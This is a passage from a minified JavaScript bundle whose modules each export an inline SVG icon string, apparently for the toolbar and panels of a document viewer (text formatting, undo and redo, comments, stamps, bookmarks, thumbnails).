d="M3.11,19.78H20.89V22H3.11Zm3.33-4.45H17.56v2.23H6.44ZM3.11,10.89H20.89v2.22H3.11ZM3.11,2H20.89V4.22H3.11ZM6.44,6.44H17.56V8.67H6.44Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>Artboard 270</title><g><path class="cls-1" d="M9.22,15,5.57,11.38,4,13l5.22,5.22L20,7.4,18.43,5.83Z"></path></g></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - italic</title><path class="cls-1" d="M18.68,6V4.75a.38.38,0,0,0-.38-.38H9.52a.38.38,0,0,0-.38.38V6a.38.38,0,0,0,.38.38h2.82L9.61,17.63H5.7a.38.38,0,0,0-.38.38v1.24a.38.38,0,0,0,.38.38h8.78a.38.38,0,0,0,.38-.38V18a.38.38,0,0,0-.38-.38H11.69L14.42,6.37H18.3A.38.38,0,0,0,18.68,6Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - left align</title><path class="cls-1" d="M3.11,19.78H20.89V22H3.11Zm0-4.45H15.33v2.23H3.11Zm0-4.44H20.89v2.22H3.11ZM3.11,2H20.89V4.22H3.11Zm0,4.44H15.33V8.67H3.11Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - no colour</title><path class="cls-1" d="M12,4a8,8,0,1,0,8,8A8,8,0,0,0,12,4Zm0,1.6A6.41,6.41,0,0,1,16,7l-9,9A6.39,6.39,0,0,1,12,5.6Zm0,12.8a6.39,6.39,0,0,1-3.92-1.35l9-8.94A6.39,6.39,0,0,1,12,18.4Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - right align</title><path class="cls-1" d="M3.11,19.78H20.89V22H3.11Zm5.56-4.45H20.89v2.23H8.67ZM3.11,10.89H20.89v2.22H3.11ZM3.11,2H20.89V4.22H3.11ZM8.67,6.44H20.89V8.67H8.67Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - add style - line</title><path class="cls-1" d="M9,14.5A1.5,1.5,0,1,1,7.5,13,1.5,1.5,0,0,1,9,14.5ZM10.5,6A1.5,1.5,0,1,0,12,7.5,1.5,1.5,0,0,0,10.5,6Zm-3,3A1.5,1.5,0,1,0,9,10.5,1.5,1.5,0,0,0,7.5,9Zm7.2,6.36a2,2,0,0,0-.09,1.92l.2.41A3,3,0,0,1,12.14,22H12a9.74,9.74,0,0,1-2.62-.36A10,10,0,0,1,4.46,5.43,10,10,0,0,1,22,12.14a3,3,0,0,1-3,3,3.09,3.09,0,0,1-1.3-.3l-.41-.2A2,2,0,0,0,14.7,15.36Zm3.44-2.55.42.19A1,1,0,0,0,20,12.11a8,8,0,0,0-6.87-8A7.24,7.24,0,0,0,12,4,8,8,0,0,0,6,6.74a7.92,7.92,0,0,0-1.89,6.39A8.05,8.05,0,0,0,9.9,19.72,8.42,8.42,0,0,0,12,20h.11a1,1,0,0,0,.84-.48,1,1,0,0,0,.05-1l-.2-.42A3.92,3.92,0,0,1,13,14.3,4.05,4.05,0,0,1,18.14,12.81ZM14.5,6A1.5,1.5,0,1,0,16,7.5,1.5,1.5,0,0,0,14.5,6Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - text underline</title><path class="cls-1" d="M5.32,18H18.68a.32.32,0,0,1,.32.32v1.36a.32.32,0,0,1-.32.32H5.32A.32.32,0,0,1,5,19.68V18.32A.32.32,0,0,1,5.32,18ZM6,4.32V9.79A6.15,6.15,0,0,0,11.21,16,6,6,0,0,0,18,10V4.32A.32.32,0,0,0,17.68,4H16.32a.32.32,0,0,0-.32.32v5.5A4.12,4.12,0,0,1,12.4,14,4,4,0,0,1,8,10V4.32A.32.32,0,0,0,7.68,4H6.32A.32.32,0,0,0,6,4.32Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M19.903 8.586C19.854 8.48 19.793 8.379 19.707 8.293L13.707 2.293C13.621 2.207 13.52 2.146 13.414 2.097C13.384 2.083 13.352 2.075 13.32 2.064C13.236 2.036 13.15 2.018 13.061 2.013C13.04 2.011 13.021 2 13 2H6C4.897 2 4 2.897 4 4V20C4 21.103 4.897 22 6 22H18C19.103 22 20 21.103 20 20V9C20 8.979 19.989 8.96 19.987 8.938C19.982 8.849 19.965 8.763 19.936 8.679C19.926 8.647 19.917 8.616 19.903 8.586ZM16.586 8H14V5.414L16.586 8ZM6 20V4H12V9C12 9.553 12.447 10 13 10H18L18.002 20H6Z" fill="#484848"></path><path d="M8 12H16V14H8V12ZM8 16H16V18H8V16ZM8 8H10V10H8V8Z" fill="#484848"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - operation - eraser</title><path class="cls-1" d="M12.93,3.1,7.78,8.25,2.62,13.5a2.18,2.18,0,0,0,0,3.05L7.3,21.22a1.07,1.07,0,0,0,.76.32H20.68a.4.4,0,0,0,.4-.4V19.77a.4.4,0,0,0-.4-.4H13.53l7.84-7.84a2.17,2.17,0,0,0,0-3.06L16,3.1A2.17,2.17,0,0,0,12.93,3.1ZM8.51,19.37,4.17,15,9.32,9.78l.8-.81,5.37,5.37-4.94,4.94-.08.09h-2Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - operation - redo</title><path class="cls-1" d="M8.47,20.13H11.4a.6.6,0,0,0,.6-.6v-1.3a.6.6,0,0,0-.6-.6h-3a3.82,3.82,0,0,1-3.78-3,3.76,3.76,0,0,1,3.67-4.54h7.5V13a.4.4,0,0,0,.65.32l5.21-4.17a.41.41,0,0,0,0-.63L16.4,4.39a.4.4,0,0,0-.65.32V7.62H8.25a6.26,6.26,0,0,0-6.2,7.08A6.41,6.41,0,0,0,8.47,20.13Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - operation - undo</title><path class="cls-1" d="M8.25,10.12h7.39a3.82,3.82,0,0,1,3.78,3,3.76,3.76,0,0,1-3.67,4.53H12.6a.6.6,0,0,0-.6.61v1.3a.6.6,0,0,0,.6.6h2.93A6.41,6.41,0,0,0,22,14.7a6.26,6.26,0,0,0-6.2-7.08H8.25V4.71a.4.4,0,0,0-.65-.32L2.39,8.56a.41.41,0,0,0,0,.63L7.6,13.36A.4.4,0,0,0,8.25,13Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M6 6H18V15H20V6C20 4.89543 19.1046 4 18 4H6C4.89543 4 4 4.89543 4 6V15H6V6Z" fill="#868E96"></path><rect width="20" height="2" transform="matrix(1 0 0 -1 2 20)" fill="#868E96"></rect><path fill-rule="evenodd" clip-rule="evenodd" d="M12.75 12V14.25H11.25V12H9V10.5H11.25V8.25H12.75V10.5H15V12H12.75Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M6 18H18V9H20V18C20 19.1046 19.1046 20 18 20H6C4.89543 20 4 19.1046 4 18V9H6V18Z" fill="#868E96"></path><rect x="2" y="4" width="20" height="2" fill="#868E96"></rect><path fill-rule="evenodd" clip-rule="evenodd" d="M12.75 12V9.75H11.25V12H9V13.5H11.25V15.75H12.75V13.5H15V12H12.75Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M17.0417 6.95828H16.2014V5.27772C16.2014 4.35342 15.4451 3.59717 14.5208 3.59717H9.47917C8.55486 3.59717 7.79861 4.35342 7.79861 5.27772V6.95828H6.95833H4.4375V8.63883H6.11806V18.7222C6.11806 19.6465 6.87431 20.4027 7.79861 20.4027H16.2014C17.1257 20.4027 17.8819 19.6465 17.8819 18.7222V8.63883H19.5625V6.95828H17.0417ZM9.47917 5.27772H14.5208V6.95828H9.47917V5.27772ZM7.79861 18.7222V8.63883H8.63889H15.3611H16.2014V18.7222H7.79861ZM12.8403 10.3194H14.5208V17.0416H12.8403V10.3194ZM9.47917 10.3194H11.1597V17.0416H9.47917V10.3194Z" fill="#868E96"></path><mask id="mask0" mask-type="alpha" maskUnits="userSpaceOnUse" x="4" y="3" width="16" height="18"><path fill-rule="evenodd" clip-rule="evenodd" d="M17.0417 6.95828H16.2014V5.27772C16.2014 4.35342 15.4451 3.59717 14.5208 3.59717H9.47917C8.55486 3.59717 7.79861 4.35342 7.79861 5.27772V6.95828H6.95833H4.4375V8.63883H6.11806V18.7222C6.11806 19.6465 6.87431 20.4027 7.79861 20.4027H16.2014C17.1257 20.4027 17.8819 19.6465 17.8819 18.7222V8.63883H19.5625V6.95828H17.0417ZM9.47917 5.27772H14.5208V6.95828H9.47917V5.27772ZM7.79861 18.7222V8.63883H8.63889H15.3611H16.2014V18.7222H7.79861ZM12.8403 10.3194H14.5208V17.0416H12.8403V10.3194ZM9.47917 10.3194H11.1597V17.0416H9.47917V10.3194Z" fill="white"></path></mask><g mask="url(#mask0)"></g></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M16.4917 13.5493H18.325V9.25016C18.329 9.23204 18.329 9.21328 18.325 9.19516C18.324 9.11363 18.3084 9.03293 18.2792 8.95683V8.87433C18.2352 8.77231 18.1731 8.67913 18.0958 8.59933L12.5958 3.09933C12.518 3.02624 12.4281 2.9673 12.33 2.92516H12.2475L12 2.8335H5.49166C4.47914 2.8335 3.65833 3.65431 3.65833 4.66683V19.3335C3.65833 20.346 4.47914 21.1668 5.49166 21.1668H10.9917V19.3335H5.49166V4.66683H10.9917V9.25016C10.9917 9.75642 11.4021 10.1668 11.9083 10.1668H16.4917V13.5493Z" fill="#868E96"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M20.25 17.5L17.0417 14.9975C16.9306 14.9085 16.7781 14.8919 16.6505 14.9547C16.5228 15.0175 16.4431 15.1486 16.4458 15.2908V16.895H12.7792V18.7283H16.4458V20.3417C16.4466 20.4823 16.5278 20.61 16.6547 20.6706C16.7816 20.7311 16.9319 20.7137 17.0417 20.6258L20.25 18.105C20.3461 18.0341 20.4028 17.9219 20.4028 17.8025C20.4028 17.6831 20.3461 17.5708 20.25 17.5Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M22 16.25L19 20L16 16.25H18.25V11H19.75V16.25H22Z" fill="#868E96"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M12 11H9C8.44772 11 8 10.5523 8 10V7H4V18H12V11ZM2 6.5C2 5.67157 2.67157 5 3.5 5H8.37868C8.7765 5 9.15804 5.15804 9.43934 5.43934L13.5607 9.56066C13.842 9.84197 14 10.2235 14 10.6213V18.5C14 19.3284 13.3284 20 12.5 20H3.5C2.67157 20 2 19.3284 2 18.5V6.5Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M12 11H9C8.44772 11 8 10.5523 8 10V7H4V18H12V11ZM2 6.5C2 5.67157 2.67157 5 3.5 5H8.37868C8.7765 5 9.15804 5.15804 9.43934 5.43934L13.5607 9.56066C13.842 9.84197 14 10.2235 14 10.6213V18.5C14 19.3284 13.3284 20 12.5 20H3.5C2.67157 20 2 19.3284 2 18.5V6.5Z" fill="#868E96"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M22 14.75L19 11L16 14.75H18.25V20H19.75V14.75H22Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24" xml:space="preserve"><path d="M2 4a2 2 0 0 1 2-2h9a1 1 0 0 1 .707.293l2 2A1 1 0 0 1 16 5h1.812a2 2 0 0 1 1.425.597l2.188 2.222A2 2 0 0 1 22 9.222V20a2 2 0 0 1-2 2H10a2 2 0 0 1-2-2H4a2 2 0 0 1-2-2V4zm10.586 0 1 1H10a2 2 0 0 0-2 2v7a1 1 0 0 1-1-1v-2H5v2a3 3 0 0 0 3 3v2H4V4h8.586zM10 16v4h10V10h-3V7h-7v7h2v-2.414L15.414 15 12 18.414V16h-2z" style="fill-rule:evenodd;clip-rule:evenodd"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - panel - thumbnail - fill_1</title><path class="cls-1" d="M18.08,2H5.92a2,2,0,0,0-2,2V22L12,17.36,20.11,22V4A2,2,0,0,0,18.08,2Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - panel - bookmark - line</title><path class="cls-1" d="M18.08,1.45H5.92a2,2,0,0,0-2,2v18L12,16.82l8.11,4.63v-18A2,2,0,0,0,18.08,1.45Zm0,7.1V18L12,14.48,5.92,18V3.48H18.08Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - panel - outlines</title><path class="cls-1" d="M4.59,12a1.31,1.31,0,1,1-1.31-1.31A1.31,1.31,0,0,1,4.59,12ZM3.28,4.44A1.31,1.31,0,1,0,4.59,5.75,1.31,1.31,0,0,0,3.28,4.44Zm0,12.5a1.31,1.31,0,1,0,1.31,1.31A1.31,1.31,0,0,0,3.28,16.94ZM7,13.25H22v-2.5H7ZM20.53,4.5H7V7H22V4.5ZM7,19.5H22V17H7Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - panel - thumbnail - fill</title><path class="cls-1" d="M16.5,5.66H3.81A1.81,1.81,0,0,0,2,7.47V20.15A1.82,1.82,0,0,0,3.81,22H16.5a1.82,1.82,0,0,0,1.81-1.82V7.47A1.81,1.81,0,0,0,16.5,5.66ZM5.62,9.28h4.53v5.44H5.62Zm9.06,9.06H5.62V16.53h9.06Zm0-3.62H12V12.91h2.71Zm0-3.63H12V9.28h2.71ZM22,3.85V12H20.19V3.85H8.41V2H20.19A1.82,1.82,0,0,1,22,3.85Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - panel - thumbnail - line</title><path class="cls-1" d="M16.5,5.66H3.81A1.81,1.81,0,0,0,2,7.47V20.15A1.82,1.82,0,0,0,3.81,22H16.5a1.82,1.82,0,0,0,1.81-1.82V7.47A1.81,1.81,0,0,0,16.5,5.66ZM3.81,20.15V7.47H16.5V20.15Zm6.34-5.43H5.62V9.28h4.53ZM12,16.53h2.71v1.81H5.62V16.53H12Zm0-7.25h2.71v1.81H12Zm0,3.63h2.71v1.81H12ZM22,3.85V12H20.19V3.85H8.41V2H20.19A1.82,1.82,0,0,1,22,3.85Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 14 14" fill="#485056" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M2.00223 14.0001C2.05623 14.0001 2.11023 13.9934 2.16356 13.9801L4.83023 13.3134C4.94756 13.2841 5.05489 13.2234 5.14023 13.1381L13.3356 4.94274C13.5876 4.69074 13.7262 4.35607 13.7262 4.00007C13.7262 3.64407 13.5876 3.3094 13.3356 3.0574L12.2782 2.00007C11.7742 1.49607 10.8969 1.49607 10.3929 2.00007L2.19756 10.1954C2.11223 10.2807 2.05156 10.3881 2.02223 10.5047L1.35556 13.1714C1.29823 13.3987 1.36556 13.6387 1.53089 13.8047C1.65689 13.9314 1.82756 14.0001 2.00223 14.0001ZM11.3356 2.94274L12.3929 4.00007L11.3356 5.0574L10.2782 4.00007L11.3356 2.94274ZM3.27089 11.0074L9.33556 4.94274L10.3929 6.00007L4.32756 12.0647L2.91823 12.4167L3.27089 11.0074Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="-1 -2 12 9" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>Group 10</title><g id="Form-Builder" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd" stroke-linecap="square"><g id="List-Box-3" transform="translate(-544.000000, -777.000000)" stroke="#4F565E"><g id="Group-33" transform="translate(536.000000, 689.000000)"><g id="Group-32" transform="translate(9.000000, 23.000000)"><g id="Group-11" transform="translate(0.500000, 63.000000)"><g id="Group-15" transform="translate(0.000000, 2.000000)"><line x1="0" y1="3.5" x2="6" y2="3.5" id="Line"></line><line x1="3" y1="0.5" x2="3" y2="6.5" id="Line-2"></line></g></g></g></g></g></g></svg>'},function(e,t){e.exports='<svg viewBox="-2 -2 21 20" xmlns="http://www.w3.org/2000/svg"><path d="M18.4261 8.09498L1.42611 0.0949834C1.07611 -0.0680166 0.663114 -0.0170167 0.365114 0.227983C0.0661136 0.472983 -0.0628864 0.867984 0.0301136 1.24198L1.96911 8.99998L0.0301136 16.758C-0.0638864 17.132 0.0661136 17.528 0.365114 17.773C0.548114 17.923 0.772114 18 1.00011 18C1.14511 18 1.29011 17.969 1.42611 17.905L18.4261 9.90498C18.7761 9.73998 19.0001 9.38798 19.0001 8.99998C19.0001 8.61198 18.7761 8.25998 18.4261 8.09498ZM2.48111 15.197L3.32011 11.84L9.00011 8.99998L3.32011 6.15998L2.48111 2.80298L15.6511 8.99998L2.48111 15.197Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="-1 -1 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M16 2H2L2 16H16V2ZM2 0C0.895431 0 0 0.89543 0 2V16C0 17.1046 0.89543 18 2 18H16C17.1046 18 18 17.1046 18 16V2C18 0.895431 17.1046 0 16 0H2Z"></path><path d="M12 1H13.5V17H12V1Z"></path><path d="M4 4H10V5.75H4V4Z"></path><path d="M4 7.5H10V9.25H4V7.5Z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M6.29815 13.6088L7.53553 14.8462L8.5962 13.7855L7.35881 12.5482L8.59619 11.3108L7.53553 10.2501L6.29815 11.4875L5.06066 10.25L4 11.3107L5.23749 12.5482L4 13.7856L5.06066 14.8463L6.29815 13.6088Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5 21H19C20.103 21 21 20.103 21 19V8C21 7.735 20.895 7.48 20.707 7.293L16.707 3.293C16.52 3.105 16.266 3 16 3H5C3.897 3 3 3.897 3 5V19C3 20.103 3.897 21 5 21ZM15 19H9V14H15V19ZM13 7H11V5H13V7ZM5 5H7V9H9H11H13H14H15V5H15.586L19 8.414L19.001 19H17V14C17 12.897 16.103 12 15 12H9C7.897 12 7 12.897 7 14V19H5V5Z" fill="#868E96"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - text - bold</title><path class="cls-1" d="M16.81,11.72A4.46,4.46,0,0,0,17.75,9a4.51,4.51,0,0,0-4.5-4.5H5.75v15h8a4.49,4.49,0,0,0,3.06-7.78ZM13.25,7.5a1.5,1.5,0,0,1,0,3H8.75v-3Zm.5,9h-5v-3h5a1.5,1.5,0,0,1,0,3Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - text - italic</title><path class="cls-1" d="M18.68,6V4.75a.38.38,0,0,0-.38-.38H9.52a.38.38,0,0,0-.38.38V6a.38.38,0,0,0,.38.38h2.82L9.61,17.63H5.7a.38.38,0,0,0-.38.38v1.24a.38.38,0,0,0,.38.38h8.78a.38.38,0,0,0,.38-.38V18a.38.38,0,0,0-.38-.38H11.69L14.42,6.37H18.3A.38.38,0,0,0,18.68,6Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M4 7H20V9H4V7ZM4 3H20V5H4V3ZM4 11H20V13H4V11ZM4 15H20V17H4V15ZM6 19H18V21H6V19Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - text - underline</title><path class="cls-1" d="M5.32,18H18.68a.32.32,0,0,1,.32.32v1.36a.32.32,0,0,1-.32.32H5.32A.32.32,0,0,1,5,19.68V18.32A.32.32,0,0,1,5.32,18ZM6,4.32V9.79A6.15,6.15,0,0,0,11.21,16,6,6,0,0,0,18,10V4.32A.32.32,0,0,0,17.68,4H16.32a.32.32,0,0,0-.32.32v5.5A4.12,4.12,0,0,1,12.4,14,4,4,0,0,1,8,10V4.32A.32.32,0,0,0,7.68,4H6.32A.32.32,0,0,0,6,4.32Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="-2 0 20 20" fill="#868E96" xmlns="http://www.w3.org/2000/svg"><path d="M7 20L8 18V15H13C13.553 15 14 14.553 14 14V12.414C14 11.888 13.786 11.372 13.414 11L12 9.586V6C12.553 6 13 5.553 13 5V2C13 0.897 12.103 0 11 0H3C1.897 0 1 0.897 1 2V5C1 5.553 1.448 6 2 6V9.586L0.586 11C0.213 11.372 0 11.888 0 12.414V14C0 14.553 0.448 15 1 15H6V18L7 20ZM3 2H11V4H3V2ZM2 12.414L3.707 10.707C3.895 10.52 4 10.266 4 10V6H10V10C10 10.266 10.105 10.52 10.293 10.707L12 12.414V13H2V12.414Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path id="svg_1" fill="black" d="m19.27838,3.27762c-0.0298,-0.11112 -0.1323,-0.18778 -0.2473,-0.18396c-8.04996,0.26687 -14.4939,6.87671 -14.4939,14.99162c0,0.9567 0.08957,1.8925 0.26077,2.7995c0.02206,0.1168 0.12473,0.2005 0.24363,0.2005l1.52753,0c0.1613,0 0.2803,-0.1505 0.24707,-0.3083c-0.18284,-0.8685 -0.279,-1.7689 -0.279,-2.6917c0,-7.1797 5.8203,-13 13,-13c0.1133,0 0.1969,-0.10705 0.1676,-0.21648l-0.4264,-1.59118z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - callout - fill</title><path class="cls-1" d="M15.5,12.2v4.42h-8V14.87a.4.4,0,0,0-.65-.31L3.37,17.31a.41.41,0,0,0,0,.63L6.82,20.7a.4.4,0,0,0,.65-.32V18.62h9.11a.93.93,0,0,0,.93-.9l0-5.52Z"></path><path class="cls-1" d="M17.46,12.2H19.2A1.79,1.79,0,0,0,21,10.4V5a1.79,1.79,0,0,0-1.8-1.8H4.8A1.79,1.79,0,0,0,3,5V10.4a1.79,1.79,0,0,0,1.8,1.8H17.46Z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" id="icon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#868E96;} </style><path fill="default" class="st0" d="M15.2,12.2v4H7.8v-1.6c0-0.3-0.4-0.5-0.6-0.3l-3.2,2.5c-0.2,0.1-0.2,0.4,0,0.6L7.2,20c0.2,0.2,0.6,0,0.6-0.3 v-1.6h8.3c0.5,0,0.9-0.4,0.9-0.8l0-5.1H15.2z"></path><path class="st0" d="M17,12.2h1.6c0.9,0,1.7-0.7,1.7-1.7V5.6c0-0.9-0.7-1.7-1.7-1.7H5.4C4.5,4,3.7,4.7,3.7,5.6v4.9 c0,0.9,0.7,1.7,1.7,1.7h9.8H17z M5.6,10.4V5.8h12.8l0,4.6H5.6z"></path><path fill="none" d="M5.6,10.4V5.8h12.8l0,4.6H5.6z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" style="fill: rgba(0, 0, 0, 1);transform: ;msFilter:;"><path d="M5,2C3.897,2,3,2.897,3,4v12c0,1.103,0.897,2,2,2h3.586L12,21.414L15.414,18H19c1.103,0,2-0.897,2-2V4c0-1.103-0.897-2-2-2 H5z M19,16h-4.414L12,18.586L9.414,16H5V4h14V16z"></path><path d="M11 6H13V12H11zM11 13H13V15H11z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - check - stamp</title><path class="cls-1" fill-rule="evenodd" clip-rule="evenodd" d="M19.19 3H4.8C3.80589 3 3 3.80589 3 4.8V19.2C3 20.1941 3.80589 21 4.8 21H19.19C20.1818 20.9945 20.9845 20.1918 20.99 19.2V4.8C20.9845 3.80816 20.1818 3.00546 19.19 3ZM4.8 19.2V4.8H19.19V19.2H4.8Z"></path><path class="cls-1" fill-rule="evenodd" clip-rule="evenodd" d="M11.01 12.99L8.99998 10.99L7.72998 12.26L11.13 15.66L16.26 9.49998L14.88 8.34998L11.01 12.99V12.99Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}.cls-2{fill:#fff;}</style></defs><title>icon - tool - comment - fill</title><path class="cls-1" d="M20,2.46H4a2,2,0,0,0-2,2v10a2,2,0,0,0,2,2H7v5.08l6.35-5.08H20a2,2,0,0,0,2-2v-10A2,2,0,0,0,20,2.46Zm-4.5,10H6v-2h9.5Zm2.5-4H6v-2H18Z"></path><path class="cls-2" d="M15.5,12.46H6v-2h9.5Zm2.5-4H6v-2H18Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - comment - line</title><path class="cls-1" d="M20,2.46H4a2,2,0,0,0-2,2v10a2,2,0,0,0,2,2H7v5.08l6.35-5.08H20a2,2,0,0,0,2-2v-10A2,2,0,0,0,20,2.46Zm0,12H12.65L9,17.38V14.46H4v-10H20Z"></path><path fill="default" class="cls-1" d="M18,8.46H6v-2H18Zm-2.5,4H6v-2h9.5Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - tool - cross - stamp</title><path class="cls-1" fill-rule="evenodd" clip-rule="evenodd" d="M19.2 3H4.8C3.80816 3.00546 3.00546 3.80816 3 4.8V19.2C3.00546 20.1918 3.80816 20.9945 4.8 21H19.2C20.1918 20.9945 20.9945 20.1918 21 19.2V4.8C20.9945 3.80816 20.1918 3.00546 19.2 3ZM4.8 19.2V4.8H19.2V19.2H4.8Z"></path><path class="cls-1" fill-rule="evenodd" clip-rule="evenodd" d="M14.5399 8.18005L11.9999 10.7301L9.45993 8.18005L8.17993 9.46005L10.7299 12.0001L8.17993 14.5401L9.45993 15.8201L11.9999 13.2701L14.5399 15.8201L15.8199 14.5401L13.2699 12.0001L15.8199 9.46005L14.5399 8.18005V8.18005Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><path class="cls-1" fill-rule="evenodd" clip-rule="evenodd" d="M19.19 3H4.8C3.80589 3 3 3.80589 3 4.8V19.2C3 20.1941 3.80589 21 4.8 21H19.19C20.1818 20.9945 20.9845 20.1918 20.99 19.2V4.8C20.9845 3.80816 20.1818 3.00546 19.19 3ZM4.8 19.2V4.8H19.19V19.2H4.8Z"></path><path class="cls-1" fill-rule="evenodd" clip-rule="evenodd" d="M12.0001 8.33997C9.97873 8.33997 8.34009 9.9786 8.34009 12C8.34009 14.0213 9.97873 15.66 12.0001 15.66C14.0215 15.66 15.6601 14.0213 15.6601 12C15.6332 9.98986 14.0102 8.36688 12.0001 